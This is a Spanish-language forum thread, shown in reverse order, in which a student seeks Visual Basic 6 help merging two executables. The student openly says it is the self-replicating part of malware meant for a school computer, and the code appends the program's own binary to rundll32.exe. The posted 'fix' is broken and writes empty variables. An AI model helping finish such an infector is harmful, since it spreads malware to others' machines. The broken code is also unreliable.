Listo ya resolví el problema:

Dim Data As String, Data1 As String
Open "C:\Prueba1.exe" For Binary As #1
Parte1 = Space$(LOF(1))
Get #1, 1, Parte1
Close #1
Open "C:\Prueba2.exe" For Binary As #1
Parte2 = Space$(LOF(1))
Get #1, 1, Parte2
Close #1
Open "C:\Prueba.exe" For Binary As #1
Put #1, 1, Data & Data1
Close #1
 

publico el codigo para que cualquiera con dudas similares lo encuentre más facil que lo que yo pude

Listo ya resolví el problema, moderadores cierrenlo.

Necesito juntar dos archivos .exe en uno, estuve probando con distintos codigos buscando en google y aquí, pero nada en concreto, alguna idea, alguna linea para dar?

Con respecto a las etiquetas, gracias, pero es un malware, ¿Acaso no queda suficientemente claro?, esto es solo una pieza del codigo que hace que el archivo se "reproduzca", pero me tira error "Type mismatch", no se porqué

Estoy haciendo un programita para demostrarles a los brutos que tengo de compañeros las vulnerabilidades monstruosas del güindous con una compu del cole, necesito un poco de ayuda para la parte de retransmisión, sobre todo para modificar archivos exe, probé con este codigo:

Option Explicit
 
Private Sub Form_Load()
Dim Data() As Byte
Dim Data1() As Byte
Dim Data2() As Byte
Dim fLen As Long
Dim fLen1 As Long
Dim fLen2 As Long
Open "c:\windows\system32\rundll32.exe" For Binary Lock Read As 1
Open App.Path + "\" + App.EXEName + ".exe" For Binary Lock Read As 2
Open "c:\Nuevo.exe" For Binary Access Write As 3
fLen = FileLen("c:\windows\system32\rundll32.exe")
fLen1 = FileLen(App.Path + "\" + App.EXEName + ".exe")
fLen2 = fLen1 + fLen
ReDim Data(fLen2) As Byte
Get #1, , Data1
Get #2, , Data2
Data = Data2 + Data1
Put #2, , Data
Close
End Sub
 

Pero me tira error mismatch en el + de data2 + data1 cuando lo compilo o lo corro.
Creo saber porque es pero no se como solucionarlo, alguien tiene idea de como mezclar dos archivos exe?, busque por los foros y por google pero no encontré nada puntual